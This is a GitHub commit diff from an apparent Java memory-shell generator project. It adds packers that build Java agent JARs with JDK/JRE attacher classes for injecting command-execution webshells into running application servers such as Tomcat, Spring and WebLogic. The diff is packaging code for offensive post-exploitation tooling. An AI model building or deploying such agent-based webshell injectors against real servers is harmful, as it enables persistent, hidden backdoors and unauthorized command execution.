Skip to content

Commit 82aee3b

Browse files
committed
fix
1 parent 5851aaf commit 82aee3b

File tree

36 files changed

+8757
-91
lines changed

36 files changed

+8757
-91
lines changed

generator/build.gradle

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,9 @@ dependencies {
3939
implementation 'net.bytebuddy:byte-buddy'
4040
implementation 'org.ow2.asm:asm-commons'
4141

42+
implementation 'net.java.dev.jna:jna'
43+
implementation 'net.java.dev.jna:jna-platform'
44+
4245
implementation 'javax.servlet:javax.servlet-api'
4346
implementation 'javax.websocket:javax.websocket-api'
4447

generator/src/main/java/com/reajason/javaweb/memshell/Packers.java

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,8 @@
1919
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
2020
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
2121
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
22+
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJDKAttacherPacker;
23+
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
2224
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
2325
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
2426
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
@@ -121,6 +123,8 @@ public enum Packers {
121123
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
122124

123125
AgentJar(new AgentJarPacker()),
126+
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
127+
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
124128

125129
XxlJob(new XxlJobPacker()),
126130
;

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -210,17 +210,17 @@ public enum Server {
210210
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
211211
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
212212
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
213-
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChain.class)
213+
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Command.class)
214214
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
215215
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
216216
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
217217
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
218-
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChain.class)
219-
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChain.class)
218+
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
219+
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
220220
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
221221
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
222-
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChain.class)
223-
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChain.class)
222+
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
223+
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
224224
.build());
225225

226226
addToolMapping(ShellTool.Suo5, ToolMapping.builder()

generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java

Lines changed: 33 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
import com.reajason.javaweb.memshell.config.GenerateResult;
55
import lombok.SneakyThrows;
66
import org.apache.commons.io.IOUtils;
7+
import org.apache.commons.lang3.StringUtils;
78
import org.objectweb.asm.Opcodes;
89

910
import java.io.ByteArrayOutputStream;
@@ -27,24 +28,25 @@ public class AgentJarPacker implements JarPacker {
2728
@Override
2829
@SneakyThrows
2930
public byte[] packBytes(GenerateResult generateResult) {
30-
Manifest manifest = createManifest(generateResult.getInjectorClassName());
31+
Manifest manifest = createManifest(generateResult.getInjectorClassName(), null);
3132
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
32-
3333
String relocatePrefix = "shade/";
3434
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
3535
addDependencies(targetJar, relocatePrefix);
3636
addClassesToJar(targetJar, generateResult, relocatePrefix);
3737
}
38-
3938
return outputStream.toByteArray();
4039
}
4140

42-
private Manifest createManifest(String mainClass) {
41+
private Manifest createManifest(String agentClass, String mainClass) {
4342
Manifest manifest = new Manifest();
4443
Attributes attributes = manifest.getMainAttributes();
4544
attributes.putValue("Manifest-Version", "1.0");
46-
attributes.putValue("Agent-Class", mainClass);
47-
attributes.putValue("Premain-Class", mainClass);
45+
attributes.putValue("Agent-Class", agentClass);
46+
attributes.putValue("Premain-Class", agentClass);
47+
if (StringUtils.isNotEmpty(mainClass)) {
48+
attributes.putValue("Main-Class", mainClass);
49+
}
4850
attributes.putValue("Can-Redefine-Classes", "true");
4951
attributes.putValue("Can-Retransform-Classes", "true");
5052
return manifest;
@@ -94,7 +96,6 @@ private void addClassEntry(JarOutputStream targetJar, String className, byte[] c
9496

9597
@SneakyThrows
9698
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
97-
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
9899
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
99100
String sourceUrlString = sourceUrl.toString();
100101
if (sourceUrlString.contains("!BOOT-INF")) {
@@ -109,28 +110,36 @@ public static void addDependency(JarOutputStream targetJar, Class<?> baseClass,
109110
}
110111
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
111112
}
112-
JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()));
113-
Enumeration<JarEntry> entries = sourceJar.entries();
114-
while (entries.hasMoreElements()) {
115-
JarEntry entry = entries.nextElement();
116-
String entryName = entry.getName();
117-
if (entryName.startsWith(packageToMove)) {
118-
InputStream entryStream = sourceJar.getInputStream(entry);
119-
byte[] bytes = IOUtils.toByteArray(entryStream);
120-
if (entryName.endsWith(".class")) {
121-
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
122-
if (bytes.length > 0) {
123-
bytes = ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName);
113+
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
114+
Enumeration<JarEntry> entries = sourceJar.entries();
115+
while (entries.hasMoreElements()) {
116+
JarEntry entry = entries.nextElement();
117+
String entryName = entry.getName();
118+
if (entryName.equals("META-INF/MANIFEST.MF")
119+
|| entryName.contains("module-info.class")) {
120+
continue;
121+
}
122+
if (!entry.isDirectory()) {
123+
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
124+
byte[] bytes = IOUtils.toByteArray(entryStream);
125+
if (StringUtils.isNoneEmpty(relocatePrefix)) {
126+
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
127+
if (entryName.endsWith(".class")) {
128+
if (bytes.length > 0) {
129+
bytes = ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName);
130+
}
131+
} else {
132+
targetJar.putNextEntry(entry);
133+
}
134+
} else {
135+
targetJar.putNextEntry(entry);
136+
}
137+
targetJar.write(bytes);
124138
}
125-
} else {
126-
targetJar.putNextEntry(entry);
127139
}
128-
targetJar.write(bytes);
129140
targetJar.closeEntry();
130-
entryStream.close();
131141
}
132142
}
133-
sourceJar.close();
134143
}
135144

136145
/**
Lines changed: 189 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,189 @@
1+
package com.reajason.javaweb.memshell.packer.jar;
2+
3+
import com.reajason.javaweb.asm.ClassRenameUtils;
4+
import com.reajason.javaweb.memshell.config.GenerateResult;
5+
import com.reajason.javaweb.memshell.packer.jar.attach.Attacher;
6+
import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine;
7+
import com.reajason.javaweb.memshell.utils.CommonUtil;
8+
import lombok.SneakyThrows;
9+
import org.apache.commons.io.IOUtils;
10+
import org.apache.commons.lang3.StringUtils;
11+
import org.objectweb.asm.Opcodes;
12+
13+
import java.io.ByteArrayOutputStream;
14+
import java.io.File;
15+
import java.io.FileOutputStream;
16+
import java.io.InputStream;
17+
import java.net.URL;
18+
import java.nio.file.Files;
19+
import java.nio.file.Path;
20+
import java.util.Enumeration;
21+
import java.util.HashMap;
22+
import java.util.Map;
23+
import java.util.jar.*;
24+
25+
/**
26+
* @author ReaJason
27+
* @since 2025/1/1
28+
*/
29+
public class AgentJarWithJDKAttacherPacker implements JarPacker {
30+
private static Path tempBootPath;
31+
32+
@Override
33+
@SneakyThrows
34+
public byte[] packBytes(GenerateResult generateResult) {
35+
String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName());
36+
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
37+
Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName);
38+
String relocatePrefix = "shade/";
39+
40+
Map<String, byte[]> classes = new HashMap<>();
41+
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
42+
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
43+
classes.putAll(attacherClasses);
44+
classes.putAll(virtualMachineClasses);
45+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
46+
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
47+
addDependencies(targetJar, relocatePrefix);
48+
addClassesToJar(targetJar, generateResult, relocatePrefix);
49+
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
50+
String className = entry.getKey();
51+
byte[] bytes = entry.getValue();
52+
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
53+
targetJar.write(bytes);
54+
targetJar.closeEntry();
55+
}
56+
}
57+
return outputStream.toByteArray();
58+
}
59+
60+
private Manifest createManifest(String agentClass, String mainClass) {
61+
Manifest manifest = new Manifest();
62+
Attributes attributes = manifest.getMainAttributes();
63+
attributes.putValue("Manifest-Version", "1.0");
64+
attributes.putValue("Agent-Class", agentClass);
65+
attributes.putValue("Premain-Class", agentClass);
66+
attributes.putValue("Main-Class", mainClass);
67+
attributes.putValue("Can-Redefine-Classes", "true");
68+
attributes.putValue("Can-Retransform-Classes", "true");
69+
return manifest;
70+
}
71+
72+
@SneakyThrows
73+
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
74+
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
75+
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
76+
}
77+
78+
@SneakyThrows
79+
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
80+
String dependencyPackage = Opcodes.class.getPackage().getName();
81+
// Add injector class
82+
addClassEntry(targetJar,
83+
generateResult.getInjectorClassName(),
84+
generateResult.getInjectorBytes(),
85+
dependencyPackage,
86+
relocatePrefix);
87+
88+
// Add shell class
89+
addClassEntry(targetJar,
90+
generateResult.getShellClassName(),
91+
generateResult.getShellBytes(),
92+
dependencyPackage,
93+
relocatePrefix);
94+
95+
// Add inner classes
96+
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
97+
addClassEntry(targetJar,
98+
entry.getKey(),
99+
entry.getValue(),
100+
dependencyPackage,
101+
relocatePrefix);
102+
}
103+
}
104+
105+
@SneakyThrows
106+
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
107+
String dependencyPackage, String relocatePrefix) {
108+
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
109+
byte[] processedBytes = ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage);
110+
targetJar.write(processedBytes);
111+
targetJar.closeEntry();
112+
}
113+
114+
@SneakyThrows
115+
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
116+
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
117+
String sourceUrlString = sourceUrl.toString();
118+
if (sourceUrlString.contains("!BOOT-INF")) {
119+
String path = sourceUrlString.substring("jar:nested:".length());
120+
path = path.substring(0, path.indexOf("!/"));
121+
String[] split = path.split("/!");
122+
String bootJarPath = split[0];
123+
String internalJarPath = split[1];
124+
if (tempBootPath == null) {
125+
tempBootPath = Files.createTempDirectory("mem-shell-boot");
126+
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
127+
}
128+
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
129+
}
130+
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
131+
Enumeration<JarEntry> entries = sourceJar.entries();
132+
while (entries.hasMoreElements()) {
133+
JarEntry entry = entries.nextElement();
134+
String entryName = entry.getName();
135+
if (entryName.equals("META-INF/MANIFEST.MF")
136+
|| entryName.contains("module-info.class")) {
137+
continue;
138+
}
139+
if (!entry.isDirectory()) {
140+
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
141+
byte[] bytes = IOUtils.toByteArray(entryStream);
142+
if (StringUtils.isNoneEmpty(relocatePrefix)) {
143+
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
144+
if (entryName.endsWith(".class")) {
145+
if (bytes.length > 0) {
146+
bytes = ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName);
147+
}
148+
} else {
149+
targetJar.putNextEntry(entry);
150+
}
151+
} else {
152+
targetJar.putNextEntry(entry);
153+
}
154+
targetJar.write(bytes);
155+
}
156+
}
157+
targetJar.closeEntry();
158+
}
159+
}
160+
}
161+
162+
/**
163+
* Extracts a JAR file to a temporary directory
164+
*
165+
* @param jarPath Path to the source JAR file
166+
* @param tempPath Path to the temporary directory
167+
*/
168+
@SneakyThrows
169+
public static void unzip(String jarPath, String tempPath) {
170+
try (JarFile jarFile = new JarFile(jarPath)) {
171+
Enumeration<JarEntry> entries = jarFile.entries();
172+
while (entries.hasMoreElements()) {
173+
JarEntry jarEntry = entries.nextElement();
174+
File targetFile = new File(tempPath, jarEntry.getName());
175+
176+
if (jarEntry.isDirectory()) {
177+
targetFile.mkdirs();
178+
continue;
179+
}
180+
181+
targetFile.getParentFile().mkdirs();
182+
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
183+
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
184+
IOUtils.copy(inputStream, outputStream);
185+
}
186+
}
187+
}
188+
}
189+
}

0 commit comments

Comments
 (0)